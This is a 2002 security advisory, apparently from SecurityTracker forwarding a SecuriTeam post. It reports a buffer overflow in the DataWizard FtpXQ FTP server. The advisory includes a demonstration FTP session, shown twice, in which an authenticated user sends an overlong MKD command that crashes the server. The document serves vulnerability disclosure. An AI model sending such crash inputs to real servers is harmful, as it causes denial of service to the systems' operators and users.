DataWizard FtpQX Server Buffer Overflow Lets Remote Authenticated Users Crash the Service
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SecurityTracker Alert ID: 1004392 |
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: May 28 2002
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Impact: Denial of service via network
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Exploit Included: Yes
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Version(s): 2.0.98 and more recent versions
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Description: A buffer overflow vulnerability was reported in the DataWizard FtpXQ file transfer protocol server. A remote authenticated user can cause the FTP service to crash.
SecuriTeam reported that a remote authenticated user can send a long "make directory" request to trigger the buffer overflow and
cause the FTP server to crash.
A demonstration exploit transcript is provided:
% ftp localhost
Connected to xxxxxxxxx.rh.rit.edu.
220
DataWizard Technologies' FtpXQ FTP Server. (Version 2.0.98).
User (xxxxxxxxx.rh.rit.edu:(none)): test
331 OK need password.
Password:
230
Welcome to DataWizard Technologies' FtpXQ FTP Server.
ftp> MKD AAAAAAAAAAAAA.....AAAA
(longer than 254 chars crashes the server)
SecuriTeam
credits SnakeByte / Eric Sesterhenn with reporting this bug.
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Impact: A remote user can cause the FTP server to crash.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.datawizard.net/Support/FtpXQ/ftpxq.htm (Links to External Site)
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Cause: Boundary error
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Underlying OS: Windows (Me), Windows (NT), Windows (95), Windows (98), Windows (2000)
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Reported By: support@securiteam.com
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Message History:
None.
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Source Message Contents
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Date: Tue, 28 May 2002 02:02:16 -0400
From: support@securiteam.com
Subject: [NT] FtpXQ MKD Buffer Overflow
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The following security advisory is sent to the securiteam mailing list, and can be found at the Secur
iTeam web site: http://www.securiteam.com
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When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
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FtpXQ MKD Buffer Overflow
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SUMMARY
<http://www.datawizard.net/Support/FtpXQ/ftpxq.htm> FtpXQ is an FTP
Server built using the WinsockQ from DataWizard Technologies. A security
vulnerability in the product allows remote attackers to overflow an
internal buffer by providing an overly long "make directory" request.
DETAILS
Vulnerable systems:
* FtpXQ Server version 2.0.98 and above
Example:
% ftp localhost
Connected to xxxxxxxxx.rh.rit.edu.
220 DataWizard Technologies' FtpXQ FTP Server. (Version 2.0.98).
User (xxxxxxxxx.rh.rit.edu:(none)): test
331 OK need password.
Password:
230 Welcome to DataWizard Technologies' FtpXQ FTP Server.
ftp> MKD AAAAAAAAAAAAA.....AAAA
(longer than 254 chars crashes the server)
ADDITIONAL INFORMATION
The information has been provided by <mailto:snakebyte@gmx.de> SnakeByte
/ Eric Sesterhenn.
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